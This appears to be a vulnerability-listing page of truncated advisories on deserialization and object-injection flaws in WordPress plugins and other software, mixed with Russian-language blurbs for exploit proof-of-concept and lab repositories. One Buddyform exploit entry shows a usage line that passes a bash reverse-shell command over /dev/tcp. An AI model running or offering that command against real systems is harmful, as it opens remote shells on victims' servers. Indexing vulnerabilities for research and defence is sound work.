react2shell-lab

Лаборатория React2Shell - CVE-2025-55182 Комплексная лаборатория для демонстрации и тестирования критической уязвимости CVE-2025-55182 в серверных компонентах React. ⚠️ Только для образовательных целей Этот репозиторий предназначен для: Исследований и обучения в области безопасности Понимания...

CVE-2026-100506: Deserialization of Untrusted Data

Deserialization of Untrusted Data vulnerability in WP Spell Check WP Spell Check wp-spell-check allows Object Injection.This issue affects WP Spell Check: from n/a through 12.1...

CVE-2026-103349: Deserialization of Untrusted Data

Deserialization of Untrusted Data vulnerability in Rymera Web Co Product Feed PRO for WooCommerce woo-product-feed-pro allows Object Injection.This issue affects Product Feed PRO for WooCommerce: from n/a through 13.5.7...

CVE-2017-20285: Deserialization of Untrusted Data

YAML versions before 1.30 for Perl allow a loaded document to trigger the DESTROY method of arbitrary classes. A perl/hash:Class tag blesses a hash into the class it names. The document supplies the object's fields, and Perl calls DESTROY when it goes out of scope. What DESTROY does depends on th...

CVE-2026-97283: Deserialization of Untrusted Data

Deserialization of Untrusted Data vulnerability in Liquid Web / StellarWP Advanced Post Manager advanced-post-manager allows Object Injection.This issue affects Advanced Post Manager: from n/a through 4.5.5...

PT-2026-106195

Deserialization of Untrusted Data vulnerability in PressTigers Simple Event Planner simple-event-planner allows Object Injection.This issue affects Simple Event Planner: from n/a through 1.5.7...

PT-2026-106094

Deserialization of Untrusted Data vulnerability in Liquid Web / StellarWP Advanced Post Manager advanced-post-manager allows Object Injection.This issue affects Advanced Post Manager: from n/a through 4.5.5...

PT-2026-106193

Deserialization of Untrusted Data vulnerability in WP Sunshine Sunshine Photo Cart sunshine-photo-cart allows Object Injection.This issue affects Sunshine Photo Cart: from n/a through 3.7.1...

CVE-2026-103348: Deserialization of Untrusted Data

Deserialization of Untrusted Data vulnerability in Smackcoders Inc. WP Ultimate Exporter wp-ultimate-exporter allows Object Injection.This issue affects WP Ultimate Exporter: from n/a through 3.0...

CVE-2026-100511: Deserialization of Untrusted Data

Deserialization of Untrusted Data vulnerability in Vektor Inc. VK Google Job Posting Manager vk-google-job-posting-manager allows Object Injection.This issue affects VK Google Job Posting Manager: from n/a through 1.3.1...

CVE-2026-93617: Deserialization of Untrusted Data

Deserialization of Untrusted Data vulnerability in WP Sunshine Sunshine Photo Cart sunshine-photo-cart allows Object Injection.This issue affects Sunshine Photo Cart: from n/a through 3.7.1...

CVE-2026-97257: Deserialization of Untrusted Data

Deserialization of Untrusted Data vulnerability in PressTigers Simple Event Planner simple-event-planner allows Object Injection.This issue affects Simple Event Planner: from n/a through 1.5.7...

PT-2026-106168

Name of the Vulnerable Software and Affected Versions VK Google Job Posting Manager versions prior to 1.3.2 Description Deserialization of untrusted data in the vk-google-job-posting-manager allows Object Injection. Object Injection occurs when untrusted data is used to abuse the logic of an...

PT-2026-106171

Name of the Vulnerable Software and Affected Versions WP Ultimate Exporter versions prior to 3.0 Description An issue involving the deserialization of untrusted data in the wp-ultimate-exporter component allows for Object Injection. Object Injection occurs when untrusted data is used to abuse the...

PT-2026-106167

Name of the Vulnerable Software and Affected Versions WP Spell Check versions prior to 12.1 Description WP Spell Check allows Object Injection due to the deserialization of untrusted data. Object Injection is a vulnerability that occurs when an application deserializes untrusted input, potentiall...

PT-2026-106074

Name of the Vulnerable Software and Affected Versions Product Feed PRO for WooCommerce versions prior to 13.5.8 Description Deserialization of untrusted data in the woo-product-feed-pro plugin allows Object Injection. Object Injection occurs when an application deserializes untrusted data,...

vulnerable-next-js-poc

CVE-2025-55182 React2Shell - Доказательство концепции ⚠️ ТОЛЬКО ДЛЯ ИССЛЕДОВАНИЙ БЕЗОПАСНОСТИ Этот репозиторий содержит доказательство концепции для CVE-2025-55182 , критической уязвимости удаленного выполнения кода в React Server Components. Данный материал предназначен только для авторизованного...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Изначально CVE-2023–26326 требовал цепочек гаджетов для эксплуатации как уязвимости десериализации. Этот метод больше не применим на более новых сайтах WordPress, работающих на PHP 8+; однако, объединив его с...

CVE-2024-11392

CVE-2024-11392 Уязвимость удаленного выполнения кода в Hugging Face Transformers MobileViTV2 из-за десериализации недоверенных данных Deserialization of Untrusted Data Remote Code Execution Vulnerability Обзор высокого уровня и последствия уязвимости: Уязвимость позволяет злоумышленнику выполнить...

CVE-2023-46604-Analysis

Анализ CVE-2023-46604 Репозиторий технического анализа, в котором собраны причины, пути кода, точки исправления и результаты воспроизведения CVE-2023-46604 для Apache ActiveMQ. Этот документ является учебным материалом по техническому анализу и защите от публичной уязвимости CVE-2023-46604. Все...